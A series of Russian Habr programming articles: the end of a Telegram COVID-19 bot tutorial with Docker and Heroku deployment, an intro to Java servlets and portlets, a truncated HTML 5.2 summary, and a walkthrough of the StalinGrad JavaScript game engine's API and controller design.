if 'txt' in st:
tga.analysis(st, cid)
with codecs.open('%s.txt' % cid, 'r', encoding='UTF-8') as file:
bot.send_document(cid, file)
tga.remove(cid)
else:
messages = tga.analysis(st, cid)
bot.send_message(cid, messages)
else:
with codecs.open('templates/idunnocommand.html', 'r', encoding='UTF-8') as file:
template = Template(file.read())
bot.send_message(cid, template.render(text_command=message.text), parse_mode='HTML')
# application entry point
if __name__ == '__main__':
bot.polling(none_stop=True, interval=0)
```
Локальная проверка работоспособности бота
-----------------------------------------
Чтобы проверить работоспособность, осталось добавить [шаблоны на языке HTML](https://github.com/Oskar987/anti_covid19bot/tree/master/templates) в директорию «templates» и задать все переменные окружения которые нам необходимы
### Переменные окружения которые должны быть заданы в конфигурации проекта
* API\_BOT\_TOKEN — токен Telegram бота
* COVID\_STAT\_API\_TOKEN — токен API статистики по короновирусу
* GEO\_NAME\_API\_KEY — токен API сервиса геокодинга geonames
* CONNECTION\_STRING — строка подключения к базе данных
* STAT\_KEY — пароль по которому можно получить статистику использования бота
* DB\_NAME — название базы данных
### Запуск бота и ручное тестирование
Найдем нашего бота в Telegram мессенджере по названию которые мы ему присвоили при создании через BotFather бота. И опросим его с помощью команд которые у нас запрограммированы. Чтобы команды отображались в меню бота, необходимо, задать их через Botfather бота. Также через BotFather бота можно задать нашему боту аватар, описание, и так далее.
**Команды start, help**
**Команда statistics**
**Команда country**
**Команда contacts**
**Команда send location**
**Скрытая команда статистики**
### Long polling или webhook соединение
Для того чтобы наш бот работал без сбоев и проблем с платформой heroku, есть две рекомендации:
1. Перейти с бесплатного плана на [план “Hobby”](https://www.heroku.com/pricing), так как на бесплатном плане приложение засыпает если нет трафика через 30 минут и более, если интересно как полечить ограничение, прошу [сюда](https://medium.com/better-programming/keeping-my-heroku-app-alive-b19f3a8c3a82)
2. Изменить способ подключения к серверам Telegram с [long polling](https://core.telegram.org/bots/api#getupdates) соединения на [webhook](https://core.telegram.org/bots/api#setwebhook) соединение, добавить немного кода, отредактировать точку входа в приложение, добавить переменную окружения HEROKU\_URL
```
# /setup.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dependencies
from flask import Flask, request
# set webhook
server = Flask(__name__)
@server.route('/' + token, methods=['POST'])
def get_message():
bot.process_new_updates([telebot.types.Update.de_json(request.stream.read().decode("utf-8"))])
return "!", 200
@server.route("/")
def web_hook():
bot.remove_webhook()
bot.set_webhook(url=os.getenv('HEROKU_URL') + token)
return "!", 200
if __name__ == "__main__":
server.run(host="0.0.0.0", port=int(os.environ.get('PORT', 8443)))
```
На этом работу с ботом можно считать оконченной и приступить завершающим частям нашей эпопеи, а именно упаковка приложения в Docker контейнер, бесплатная публикация бота на PAAS платформу Heroku, CI приложения с помощью Github и Heroku.
Упаковка приложения в Docker контейнер
--------------------------------------
Для чтобы наше приложение добавить в контейнер нам потребуется создать [Dockerfile](https://docs.docker.com/engine/reference/builder/) в корневом каталоге нашего приложения. Dockerfile будет состоять из таких команд как.
```
# сообщает нам на каком образе будет построен наш образ
FROM python:3.7
# копирует файл зависимостей в наш образ
COPY /requirements.txt /app/requirements.txt
# задаем рабочую директорию
WORKDIR /app
# запускаем команду которая установит все зависимости для нашего проекта
RUN pip install -r /app/requirements.txt
# копируем все остальные файлы нашего приложения в рабочую директорию
COPY . /app
# заупскаем наше приложение
CMD python /app/setup.py
```
Публикация бота на PAAS платформу Heroku
----------------------------------------
Для публикации необходимо создать аккаунт на платформе Heroku и выбрать бесплатный план обслуживания. Создать новое приложение и немного настроить его, а именно:
* Перенести все переменные окружения из IDE в Heroku приложение, сделать это можно на вкладке “Settings” нажав на кнопку “[Reveal config vars](https://devcenter.heroku.com/articles/config-vars)”
* Добавить [addon с базой данных MongoDb](https://devcenter.heroku.com/articles/mongolab) на вкладке “Resources”, важное замечание аддон с MongoDb будет бесплатным, больше для ознакомления
* Также Heroku потребует у вас добавить платежную карту несмотря на то что план бесплатный, это обязательное условие сервиса к сожалению если вы хотите использовать addon-ы
После того как MongoDb добавлена к вашему приложению, переходим на страницу управления базой данных и копируем строку соединения с базой(connection string) и добавляем ее в переменную окружения. Пробуем вручную опубликовать на Heroku, убедитесь что приложение создано на Heroku и у вас установлено ПО для контейнеризации приложений Docker на машине.
```
cd project_folder_name # go to project folder
heroku container:login # login to Heroku
Heroku apps # see available apps and copy name to next command
heroku container:push web --app anticovid19bot #push docker image to Heroku
heroku container:release web --app anticovid19bot #release docker image to Heroku
heroku logs --tail --app anticovid19bot # see what’s going on (logs)
```
На этом подготовка нашего Heroku приложения закончена, переходим к настройке CI.
CI приложения с помощью Github и Heroku
---------------------------------------
Для настройки CI необходимо создать файл [heroku.yml](https://devcenter.heroku.com/articles/build-docker-images-heroku-yml) в корневом каталоге приложения и указать в нем как мы хотим собирать наше приложение. В нашем случае мы хотим использовать docker контейнер, так и пишем.
```
build:
docker:
web: Dockerfile
```
Сохраняем файл манифеста heroku.yml и делаем коммит и пуш в ранее созданный репозиторий на Github. Переходим на сайт heroku, находим наше приложение и во вкладке “Deploy” выбираем Github “connect to github” и настраиваем соединение и выбираем репозиторий и ветку за которой heroku будет следить и при каждом новом коммите запускать сборку и публикацию.
На этом все, наш бот готов к работе и дальнейшему развитию и борьбе с COVID-19 c помощью информирования населения по средствам Telegram.
Эпилог
------
Как известно человек боится того чего не знает, не понимает, не может предсказать. Чтобы страха и паники не было нужна достоверная и доступная информация, а также осмысление ситуации насколько возможно широко.
Приведу пример, цифра 10 000 сама по себе не страшна, но что будет если мы приправим ее небольшим контекстом, 10 000 смертей, выглядит страшнее, не правда ли? Если дальше продолжить эксперимент с добавлением контекста то можно дойти до ужасающих результатов, допустим “10000 новых смертей от коронавируса в России в день” и тогда мы получим то, что называется паника, которое настолько сильна, что подавляет развитие разума и логического мышления, заменяя его подавляющим чувством тревоги и неистового возбуждения, совместимого с животной реакцией «дерись или беги».
Именно поэтому стоит критически анализировать информацию, особенно в наше время.
Эта статья не претендует на абсолютные знания технологий которые здесь используются, но дает понимание от начала и до конца как сделать работающее приложение и интегрировать его с мессенджером Telegram, а также показывает читателю как сделать полный цикл от начала разработки и до автоматической публикации на сервер совершенно бесплатно.
Спасибо тем кто дочитал до конца за внимание. Приятного кодинга!
P.S...
------
Код бота вы можете посмотреть [здесь](https://github.com/Oskar987/anti_covid19bot), а попробовать как работает бот можно [здесь](https://bit.ly/3bw1T10).
Для большей наглядности я снял видео-инструкцию где показан каждый шаг разработки бота. | https://habr.com/ru/post/496516/ | null | ru | null |
# Что такое сервлет и зачем нужен портлет?
И так, дорогие друзья, я планирую открыть блог, посвящённый портальным технологиям.
Для разогрева, предлагаю вам коротенький рассказик, прочитав которую, вы узнаете что такое сервлет и зачем изобрели портлет. Места мало, обо всем напишу кратенько. Переписывать книжки, коих выпущено не одна сотня, я не собираюсь. Я буду писать о общих вещах, а так же о приёмах, которые существенно упрощают жизнь разработчику. Если вы хотите узнать больше, то лучше <http://java.sun.com/javaee/index.jsp> вряд ли что-то может быть.
Приготовьтесь, вы ощутите мощь *Java EE*.
### Интро
Пишем мы портлеты на Джаве *(Java)*. Что же такое портлет *(portlet)*? Портлет, это по своей сути -— сервлет *(servlet)*.
### Servlet
Это класс, расширяющий *HttpServlet*, у которого есть два главных метода
*void doGet(HttpServletRequest request, HttpServletResponse response){}*
*void doPost(HttpServletRequest request, HttpServletResponse response){}*
Не секрет, что браузер может инициировать два вида запроса к серверу: пост *(POST)* и гет *(GET)*.
Как вы уже догадались, первый метод сработает при запросе GET к сервлету, второй — при запросе POST.
Можно переопределить третий главный метод
*void processRequest(HttpServletRequest request, HttpServletResponse response){}*
Он будет обрабатывать и геты и посты, приходящие к сервлету.
Параметры запроса мы вытаскиваем из request, результат записываем в response. Респонс уходит к браузеру клиента.
Можно получить какой-то конкретный параметр, список всех имен, карту *(Map)*.
*Map* -— это интерфейс, смысл его заключается в том, что он хранит ключ и значение, связанных с ключом. В случае с параметрами запроса, ключом является имя параметра, значением -— значение параметра *(железная логика)*.
Например, пользователь заполнил форму регистрации и отправил её на сервер:
*[lolik.ru/registrationservlet?name=lolos&surname=lolobot&age=102](http://lolik.ru/registrationservlet?name=lolos&surname=lolobot&age=102)*
Карта параметров будет выглядеть следующим образом:
*name->lols*
age->102
surname->lolobot
Если интересно, о картах и прочих вкусностях *Java SE* мы можем поговорить отдельно.
Значениями параметров реквеста могут быть только строки *(String)*, которые можно привести к нужному типу. Очевидно, значение *age* лучше превратить в целое число *(int или Integer)*.
Посмотрим на метод:
`protected void processRequest(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
PrintWriter out = response.getWriter();
try {
out.println("");
out.println("");
out.println("Servlet MyServlet");
out.println("");
out.println("");
out.println("Servlet MyServlet at " + request.getContextPath () + "
======================================================
");
out.println("###### lols!
");
out.println("");
out.println("");
} finally {
out.close();
}
}`
Берём респонс, пихаем в него html и отправляем пользователю.
**Ремарка:**
Спасибо [zer0access](https://habrahabr.ru/users/zer0access/) за то, что поправил меня. Пройдя по ссылке [java.sun.com/javaee/5/docs/api/javax/servlet/http/HttpServlet.html](http://java.sun.com/javaee/5/docs/api/javax/servlet/http/HttpServlet.html) вы увидите, что есть ещё методы, кроме doGet и doPost.
Метод processRequest генерируется рядом IDE, например NetBeans 6.1 Делается это следующим образом:
``/**
* Handles the HTTP GET` method.
* [param](https://habrahabr.ru/users/param/) request servlet request
* [param](https://habrahabr.ru/users/param/) response servlet response
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}
/**
* Handles the HTTP `POST` method.
* [param](https://habrahabr.ru/users/param/) request servlet request
* [param](https://habrahabr.ru/users/param/) response servlet response
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
processRequest(request, response);
}`
т.е. описав метод *processRequest*, ваши *doPost* и *doGet* отработают единообразно. Если есть разница при вызове *doPost* или *doGet*, то использовать *processRequest* врядли придётся.
Метод *service* первым принимает запрос, после запрос переправляется нужному *doXxx*. В *service* можно сделать какие-то общие операции, например сделать запись в БД, что такой-то пользователь обратился к такому-то сервлету, затем запрос передается на обработку нужному методу сервлета.
[zer0access](https://habrahabr.ru/users/zer0access/), спасибо тебе.
Всем сервлеты хороши, но только один сервлет может быть на странице. Два сервлета не влезут — слишком важные персоны.
Как же быть, если очень хочется на одну страницу поместить сервлет-калькулятор и сервлет-переводчик?
### Portlet
Очень просто — написать два портлета, один будет считать, второй — переводить. Два, три, много портлетов можно поселить на одной странице. Классический портлет в редакции Sun имеет три режима: *view*, *edit*, *help*. Первый — основной, его видит пользователь. В случае калькулятора, в режиме view *(просмотр)* будут доступны кнопки. В режиме edit *(настройки)*, например, можно задавать тип калькулятора: обычный или научный, с синусами, косинусами и прочими мудрёными вещами. В режиме help *(справка)*? как вы уже догадались, будет справка по калькулятору.
Режимы view, edit, help отображаются при помощи jsp (java server pages). Они очень-очень похожи на php-страницы:
`<% for(int i=1; i<=10; i++){ %>
<%=i%>`
Вывод в столбик чисел от 1 до 10 включительно.
можно заменить `<%%>` на `<_? ?_>` *(как тут пхпшный код-то писать?)* и разницы не будет (за исключением того, что Джава требует определения типов переменных).
С режимом *view* и *help* все понятно, а зачем нужен режим *edit*? Допустим, У нас на портале есть две группы пользователей: первая — бухгалтеры, вторая — мы с вами, программисты. Бухгалтерам достаточно обычного калькулятора, где есть +,-,\*,/, а нам нужно складывать двоичные числа. В этом случае администратор портала для группы бухгалтеров настроит портлет, как обычный калькулятор, а для нашей группы, как научный.
Чувствуете какой кайф?
Портлет, считай, как маленькое веб-приложение, которое можно поместить на страничку портала и настроить (если возможность реализована программистом) под конкретные нужды пользователя. Можно комбинировать разные портлеты на одной странице.
В следующем номере мы поговорим о портлетах более подробно. Я расскажу, как можно за 5 минут настроить сервер приложений, контейнер для портлетов и как отлаживаться на всем этом хозяйстве нажатием одной кнопки. | https://habr.com/ru/post/26316/ | null | ru | null |
# Коротко об HTML 5.2
Уважаемые коллеги, добрый день.
В связи с тем, что 14.12.2017 года W3C в блоге [объявила о выходе новой редакции HTML 5](https://www.w3.org/blog/2017/12/html-5-2-is-done-html-5-3-is-coming/), предлагаю Вашему вниманию краткое описания основных нововведений.
### Новации
1. #### Поддержка модульного JavaScript
На мой взгляд, самая интересная и ожидаемая новация связана с поддержкой модульного синтаксиса последнего стандарта ECMA Script.
Использование будет происходить следующим образом:
```
import { app } from './app';
app.run();
```
Для того, что бы обеспечить загрузку каждого импортируемого скрипта не более одного раза на документ или web воркер, реализована коллекция (module map), которая будет содержать ссылочные записи с одним из следующих значений:
— непосредственно модульный скрипт (module script);
— null, используемых для индикации неудавшихся загрузок;
— fetching -временный плейсхолдер.
Путь к файлу будет сначала пропущен через [Парсер ссылки (URL parser)](https://url.spec.whatwg.org/#concept-url-parser), корректные значения будут использованы для разрешения пути. Повторяющиеся пути будут проигнорированы.
Следует отметить, что если путь начинается не с символов "/", "./" или "../" будет возвращена ошибка. Это обусловлено планируемым в будущем внедрением «голого» импорта.
Отдельно следует учесть, что некорректный MIME type, в отличие от обычных скриптов, в отношении модульного скрипта будет ошибкой.
2. #### Элемент
Тэг определяет окно или контейнер, предназначенный для создания всплывающих и модальных окон. Кроме стандартных html атрибутов, данному тегу будет доступен один булиевый атрибут *open* сообщающий о том, является ли элемент активным и доступным пользователю для взаимодействия. В качестве JavaScript объекта , кроме стандартных свойст и методов, получил свойства:
— open — геттер/сеттер — активен ли элемент;
— returnValue — геттер/сеттер — значение возвращаемое элементом,
а также методы:
— close() — закрывает элемент;
-open() — показывает элемент;
-showModal() показывает элемент и делает его модальным элементов верхнего уровня.
3. #### Атрибут *nonce* для
Элемент получил атрибут *nonce*, представляющий собой криптографический nonce («специально для данного случая»), который может быть использован для определения будет ли внешний ресурс указанный в загружен и применен к документу.
4. #### Элемент
Элемент получил сразу два изменения, новый атрибут *allowpaymentrequest* для интеграции с Payment Request API и новое значение для атрибута sandbox для интеграции с Presentation API.
### Удалены из стандарта
1. элементы , и ;
2. атрибут *inputmode* для текстовых , и dropzone атрибутов;
3. метод *showModalDialog.*
### Валидным с точки зрения стандарта стало
* использования тега | https://habr.com/ru/post/345388/ | null | ru | null |
# Как создать мир, спрятать труп и обшмонать перса. Стеки зажатых клавиш. Виртуальные УФМС и ФСКН (или кто разруливает 228 и «пудрит носик»)
**Демо по мотивам одного [видео](http://www.youtube.com/watch?v=6swW1zwF3EY)**:
[Пример 1](http://bakhirev.biz/StalinGrad/demo/21.html) — Вы большой гриб, а повсюду таблетки (как на кислотной вечеринке)
[Пример 2](http://bakhirev.biz/StalinGrad/demo/22.html) — Человек, управляет грузовиком
[Пример 3](http://bakhirev.biz/StalinGrad/demo/23.html) — Кидание бракованных кирпичей в колодец
[Пример 4](http://bakhirev.biz/StalinGrad/demo/24.html) — Битва роботов (PvP)
**Дублирующий сервер:** [1](http://6.encom16.z8.ru/public/demo/21.html), [2](http://6.encom16.z8.ru/public/demo/22.html), [3](http://6.encom16.z8.ru/public/demo/23.html), [4](http://6.encom16.z8.ru/public/demo/24.html)
Привет Хабра! Это третья статья про игровой движок StalinGrad. В прошлых статьях мы с вами уже насиловали DHTML и чутка разобрали архитектуру. Эта статья будет из двух частей — практика и теория. Если вы не web разработчик, можете сразу пролистать к теории (возможно, она вам будет интересна или совет какой-нибудь напишите).
**Что рассмотрели в прошлых статьях:**
[Доводка до продакшена](http://habrahabr.ru/post/196530/)
[JS -> EXE -> CHM -> APK](http://habrahabr.ru/post/196530/)
[Об архитектуре](http://habrahabr.ru/post/197796/)
[Разбор оружия](http://habrahabr.ru/post/197796/)
[Разбор камеры](http://habrahabr.ru/post/197796/)
Пишем первую игру
=================
Пример создания игры:
```
var S = StalinGrad, // Сократили слово, чтобы меньше писать
Russia = S.world(), // Создали мир
ORT = S.camera(Russia, "TV"), // Создали камеру
Vova = S.people("robot1"); // Создали персонажа
S.map(Russia, "Moscow"); // Загрузили карту для мира
S.module.controller(Vova); // Привязали управление к клавиатуре
ORT.bind(Vova); // Привязали камеру к персонажу
Russia.add(Vova); // Добавили персонажа в мир
```
Демо того, что получится, можно посмотреть [тут](http://bakhirev.biz/StalinGrad/demo/25.html).
Ожидали большего? Зато ближайшие 10 тысяч букв мы будем разбирать то, что тут написано. Вы можете посмотреть код демо-примеров в этой и прошлых статьях. Скрипты практически везде укладываются менее чем в 20 строк. Возможно, некоторые из вас спросят, почему название статьи не такое: «— Как написать игру на JavaScript за минуту?». Потому что мы все (ну или 95%) прекрасно понимаем, что это просто демо. Чтобы игра вышла в продакшен, нужно ещё подключить кучу модулей, игровой интерфейс, менюшки, миссии, ролики между уровнями, заставки, сообщения, продумать сюжет, продумать и нарисовать карты уровней, создать кучу ботов, обсудить все с разными менеджерами и дизайнерами, получить выговор от заказчика, исправить 100 магических багов, написать кучу «макаронного кода» для всяких «свистелок и перделок». А в день релиза заказчик попросит ещё внести маленькую правку и переделать полпроекта (притом исключительно костылями, т.к. по-другому не успеть). Можно сказать, что StalinGrad не для тех, кто пишет игру на HTML5 за 20 минут, а для тех, кто издевается над JavaScript в течение нескольких дней/недель/месяцев.
Общую логику работы мы с вами разобрали в прошлой статье, а в этой давайте рассмотрим внимательно каждую строку и API.
Как создать мир
---------------
```
StalinGrad.world();
```
У каждого мира есть набор стандартных параметров, например: длина, высота, время суток, гравитация, сила трения воздуха и т.д. Здесь, как и при создании объектов, вы можете задать свои параметры следующим способом:
```
var temp = StalinGrad.world({
frictionOfTheAir: 0.01, // трение воздуха
gravitation: 88.2, // гравитация
jiffy: 0.05, // время "мига" для физ. расчетов
meter: 10, // длина "метра" для физ. расчетов
max: {
x: 3300, // длина мира
y: 400, // высота мира
speed: {
x: 20, // ограничение по скорости для X
y: 20 // ограничение по скорости для Y
}
},
respawn: { // координаты точки респауна, для объектов с нулевыми координатами
x: 0, // Если вы загрузите в мир карту — она изменит точку респауна для персонажей
y: 0
}
... и т.д.
});
```
У каждого объекта мира есть свое API. Самые важные функции в нем: add() и remove(), для добавления объектов в мир и их удаления соответственно.
Как создать объект
------------------
Общая схема создания объектов:
```
StalinGrad.класс_объекта("тип_объекта");
```
Например персонажи:
```
StalinGrad.people("nyancat");
StalinGrad.people("ninja");
StalinGrad.people("mushroom");
```
Или что-то другое:
```
StalinGrad.block("brick");
StalinGrad.material("floor");
StalinGrad.weapon("portal");
```
При таком создании каждый объект получает координаты x = 0 и y = 0. Поэтому при создании объекта желательно указывать координаты, в которых он будет находиться. Если вы этого не сделаете и начнете добавлять объект в мир, то он выдаст в консоль ошибку: «Не могу добавить объект. Это место уже занято другим объектом.». Поэтому пишите так:
```
StalinGrad.класс_объекта(x, y, "тип_объекта");
```
Например:
```
StalinGrad.block(0, 25, "brick");
StalinGrad.material(0, 50, "floor");
```
Стандартная ширина/высота большинства объектов 25 на 25. Почему начальные координаты надо задавать в момент создания объекта, а не позже? Потому что объекты имеют начальные и конечные координаты. Если вы зададите начальные х и y при создании объекта, конечные х и y получатся автоматически (х максимальный = х минимальный + длина). Если решите задать их потом, то максимальные координаты будете считать сами. Например:
```
vav cat = StalinGrad.people("nyancat");
cat.x.min = 50;
cat.x.max = cat.x.min + cat.width;
```
А ещё лучше — вообще не лезть в координаты, т.к. скорее всего ваша задача может быть решена через API.
Если по каким-то причинам вам надо изменить ещё больше начальных свойств объекта, то можете использовать такой синтаксис:
```
var temp = StalinGrad.block({
x: 0, // начальная координата по X
y: 25, // начальная координата по Y
type: "brick", // тип
width: 400, // длина
height: 200 // высота
... и т.д.
});
```
Информацию обо всех доступных типах вы можете посмотреть в этой [таблице](http://bakhirev.biz/StalinGrad/index.html#!page=how_create_objects).
[](http://bakhirev.biz/StalinGrad/index.html#!page=how_create_objects)
В интернете широкую известность получил игровой движок Cocos2D. Мне он тоже очень понравился, поэтому я решил импортировать его основу в StalinGrad. К сожалению, после рефакторинга кода, суть кокоса сильно изменилась (осталось только название). Вы можете получить его следующей командой:
```
StalinGrad.grugs("cocos");
```
И добавить его в мир, например, так:
```
var cc = StalinGrad.grugs("cocos");
Russia = StalinGrad.world();
Russia.add(cc);
```
И что характерно, кокос тут тоже в 2D. Подробную информацию об остальных объектах класса drugs вы можете посмотреть в каталоге.
У многих из вас, наверное, возник следующий вопрос по API: «— Почему различные функции в API не разделены по их типу дополнительными словами?» Например, логичнее сделать следующие схемы:
```
StalinGrad.object.people("nyancat");
StalinGrad.object.grugs("cocos");
```
Тогда сразу становится понятно, что people и grugs это методы для работы с объектами. Но это для опытных очевидно, а вот джуниорам — наоборот. К тому же нам нужно запоминать дополнительное слово в конструкции, которое можно сократить. Прекрасно раскрывают суть jQuery и Backbone. В jQuery многие методы настолько интуитивно понятны, что догадаться об их наличии можно даже не читая документацию. А вот Backbone без документации совсем не очевиден.
Как обшманать перса
-------------------
Разберем работу с личными вещами персонажа. Честно говоря, не придумал адекватного API, поэтому на данный момент схема такая:
```
персонаж.bag.одна_из_функций_API(персонаж);
```
Представьте себе мужика с рюкзаком и посмотрите на API:
```
left(cat); // взять предыдущую вещь из рюкзака
right(cat); // взять следующую вещь из рюкзака
show(cat); // достать вещь (активна, её можно использовать)
hide(cat); // спрятать вещь (если оружие, то оно в кабуре — использовать нельзя)
set(cat, index); // сделать вещь с номером ... активной
get(cat); // получить ссылку на выбранную вещь
add(cat, id); // добавить вещь с id ... в рюкзак (ниже написано про Реестр объектов)
remove(cat, index); // удалить вещь с номером ... из рюкзака
```
Например:
```
cat.bag.left(cat);
```
API кривое и мне не нравится. Так что буду переписывать в перспективе. Персонажа приходится прокидывать каждый раз, т.к. из-за вложенности я не могу из прототипа достать ссылку на оригинальный объект, с которого начиналась цепочка вызовов. Если у вас есть идеи, как можно реализовать API рюкзака более адекватным способом, пишите в комментариях.
Как создать камеру
------------------
Настал момент создать камеру и посмотреть на мир:
```
var NTV = StalinGrad.camera("id_div_элемента"); // эта камера просто заставляет DIV держать пропорцию сторон
var RTVi = StalinGrad.camera(экземпляр_мира, "id_div_элемента"); // эта камера смотрит на мир и выводит изображение в DIV
```
Как всегда, при создании объекта можно указать дополнительные настройки:
```
var MTV = StalinGrad.camera({
world: Russia, // мир, который будем показывать
maxRendering: { // дальность отрисовки
x: 400
y: 300
},
screenResolution: { // разрешение экрана
x: 400
y: 300
}
x: 0, // координата по Х
y: 0 // координата по Y
});
```
Также у каждой камеры есть API, как у джойстика: left(), right(), up() и т.д. Смотрите документацию в прошлом разделе. Например:
```
RTVi.left(); // сдвинем камеру влево
RTVi.resize(); // подгоним экран под размер окна
```
Ну и самый важный для нас метод bind(), который необходим, чтобы привязать камеру к персонажу. Например:
```
ORT.bind(Vova);
```
Привязывать камеру к персонажу, кстати говоря, можно, в том числе, и только по одной оси. Например:
```
ORT.bind({
object: Vova, // персонаж, к которому привязываем камеру
type: "x", // ось, к которой привязываем
correction: { // пропорции координат
x: 2,
y: 3
}
});
```
Вы, наверное, уже задали себе вопрос: «— Что ещё за пропорции координат?!» Дело в том, что если персонаж располагается идеально в центре кадра, это выглядит странно. Поэтому задается небольшое смещение. В данном примере персонаж будет смещен слева от начала кадра по X на пол-экрана, и снизу от начала кадра на одну треть. Можете поменять настройки, и убедиться, что позиция по центру режет глаза (коррекция х = 2, y = 2).
[Демо](http://bakhirev.biz/StalinGrad/demo/27.html) со сбитыми настройками
Как создать джойстик
--------------------
Как я уже писал в прошлой статье, чтобы управлять персонажем, нам нужен джойстик. Давайте его создадим:
```
var joystick = StalinGrad.controller(Vova);
```
У любого джойстика есть стандартное API: left(), right(), attack(), use(), turn(), up(), down(). Вот через это API вам и следует управлять персонажем, а в координаты не лезьте ;)
Но мы же не будем управлять персонажем из кода? Поэтому джойстик на самом деле нам не нужен. А нужен нам модуль котроллера. Мы закинем в него персонаж. Модуль сам создаст персонажу джойстик и привяжет джойстик к клавиатуре.
```
StalinGrad.module.controller(Vova);
```
Реестр объектов
===============
Любая фабрика, из тех, что рассмотрели выше, перед тем как вернуть вам объект добавит его в единый реестр игровых объектов. Это нужно для того, чтобы убрать прямые ссылки друг на друга между объектами. Мы уже касались этой темы в прошлой статье. Ссылаться друг на друга — плохо. Это создает проблемы при масштабируемости, при удалении объектов, при попытках остановить утечки памяти и т.д. Кроме того, при вложенности объектов совершенно невозможно преобразовать их в строку через JSON.stringify. Поэтому вещи у персонажа — это только ID вещей, пассажиры внутри транспорта — это только ID пассажиров и т.д. Преобразовывать все в строку нужно для функций сохранить/загрузить. Но о них в другой раз.
Реестр объектов — это как УФМС, только виртуальный. Вы можете обратиться к нему так:
```
StalinGrad.registry.get("id_объекта");
```
Через него же работают все сторонние модули, которые не имеют права хранить ссылку на экземпляр у себя, т.к. это может создать неожиданные проблемы в виде утечки памяти и т.п.
Как работает модуль контроллера
===============================
Практически в любой игре, которую мы делаем, у нас есть главный герой, которым управляет игрок. Управление во всех играх стандартное, поэтому раз за разом нам предстоит решать одну и ту же задачу — привязывать джойстик к клавиатуре. Чтобы избавиться от этого, код вынесен в модуль, а модуль используется в 99% случаев, поэтому включен в ядро движка. Что же касается самого управления, то оно такое: AWSD или стрелки, E — использовать, Enter — стрелять, э — переключить режим (например, режим гравитационной пушки). Кроме того, привязана ещё куча дублирующих кнопок, чтобы игрок сразу мог взять и начать управлять, вне зависимости от того, куда ткнет пальцем. Непонимание управления было частой проблемой старых игр на JavaScript (да и новых тоже). Сидишь, смотришь демо, тыкаешь все подряд кнопки на клавиатуре, а персонаж так и стоит на месте. И игра вроде хорошая, но поиграть невозможно. Чем я руководствовался при выборе кнопок? Вот такой ситуацией:
Можете попробовать, это забавно. Ну и, конечно же, есть очевидные баги, которые надо решить. Например:
**«Нажимаем влево, потом зажимаем вверх. Отпускаем вверх (кнопка влево по-прежнему зажата) и… все, персонаж больше не бежит влево»**
Такая же проблема с комбинацией влево + вправо — вправо. Многие, конечно, посоветуют лучше бороться с keypress, но нет, не работает это в JavaScript или работает не так, как хочется по ощущениям.
Выход из ситуации подсказал алгоритм старой змейки, в которой использовалось залипание клавиш: при нажатии клавиши информация о направлении просто записалась в переменную, за которой следит таймер. По сути, между игрой и клавиатурой появился посредник в виде переменной, которая помнит последнее направление. А что делать в нашем случае? А если мы хотим, чтобы одновременно два игрока играли в игру? А что, если нужно, чтобы один человек мог управлять сразу целой армией ботов? Тогда начинаем думать…
На входе у нас есть джойстик с конфигами (или без них, тогда он получит дефолтные конфиги). Создаем карту клавиатуры и отмечаем кнопки, за которыми будем следить. Далее создаем стек событий и массив джойстиков. Если была зажата какая-либо кнопка, модуль смотрит, кто на неё был подписан, и заносит информацию о событии в нужные стеки. Параллельно этому, по таймеру, срабатывает проверка стеков. Специальная функция обходит все стеки, смотрит, какие последние события в них записаны. Далее для каждого стека перебирается массив джойстиков (которые числятся за этим стеком). И для каждого джойстика раздается принадлежащее ему событие. Если игрок отпускает кнопку клавиатуры, то модуль убирает её из всех стеков, которые на неё подписывались. А значит, когда к стекам придёт таймер, он возьмет предыдущее событие, которое работало по прошлой кнопке. Попробуйте в демке зажимать одновременно несколько кнопок.
Схема с одной стороны сложная, а с другой — дает отличные перспективы к масштабируемости. Мы можем задавать конфиги и перечислять список кнопок, на которые мы хотим подписаться. Так можно сделать игру для двоих и более игроков.
Немного демок:
* [Игра на два игрока](http://bakhirev.biz/StalinGrad/demo/24.html)
* [Управляем пачкой персонажей](http://bakhirev.biz/StalinGrad/demo/26.html) (ПЛ`ы и КЛ`ы оценят, особенно если они в несколько окон фармили замки)
Реестр веществ
==============
Примеры веществ в GTA, Stalker`е и Fallout показали, что с ними игра может стать интересней. Встала задача добавить веществ в движок. Изначально все было просто — ты используешь препарат и камера добавляет дополнительный класс на дисплей. Трип создается средствами CSS3 (вращения, трансформации и т.д.). Но схема оказалась совершенно нерабочей в старых браузерах.
Тогда было решено уйти от CSS3 и написать эффекты другими методами и средствами. Эффекты всех трипов я разделил на два вида: наложение фильтра на дисплей и реверс управления. Чтобы наложить фильтр на изображение, создал дополнительный div (прозрачный экран трипов) с z-index выше, чем у всех остальных объектов. Экран трипов принимает класс с background-image, а там прозрачная png картинка с эффектами по типу инстаграмм`а. Далее у экрана трипов меняется прозрачность от 0 до 1 в зависимости от того упорот персонаж или нет. Кроме того, этот экран несет в себе ещё одну функцию — функцию защитного экрана для устройств с тачскрином. Если обладатель тачскрина будет упорно щелкать по картинке, у него может всплыть предложение от системы сохранить картинку. Если же поверх этой картинки будет прозрачный div, никаких сообщений не будет.
Задача с реверсом управления оказалась не столь очевидна. Кроме того, на каждый трип нужно было создавать таймер, чтобы потом отключить действие трипа и сделать экран трипов вновь прозрачным. При масштабировании (создании кучи миров, персонажей и одновременных трипов) такая схема оказалась совсем не эффективной. Мало того, что создавалась куча таймеров, так ещё и связи между объектами персонаж/камера/джойстик усиливались, что противоречило логике модульности. Выход был только один — написать дополнительный модуль ядра, который будет разруливать все, что связано с трипами (у нас тут свой ФСКН с таймером и базой данных).
**Разберем схему модуля:**
Есть n-е количество миров с m персонажами в них. Если кто-то где-то принимает вещество, то информация о нем отправляется в реестр веществ. Там она заносится в базу данных, а всем камерам, которые следили за персонажем, отправляется команда добавить трип. В реестре есть всего один таймер, который один раз в секунду обходит все записи и минусует время нахождения в реестре. Если у записи время стало равно нулю, она удаляется из реестра, а на все камеры, которые были связаны с этой записью, отправляется сообщение о том, что нужно отключить трип. Кроме того, реестр веществ может сообщать числится в нем персонаж или нет, а если числится, то в каком состоянии он находится на данный момент. Этим API пользуются, например, объекты джойстика, чтобы узнать информацию о своем клиенте. Если джойстик видит, что клиент упорот и упорот сильно, он включает реверс управления, либо накладывает другие эффекты.
Как спрятать труп
=================
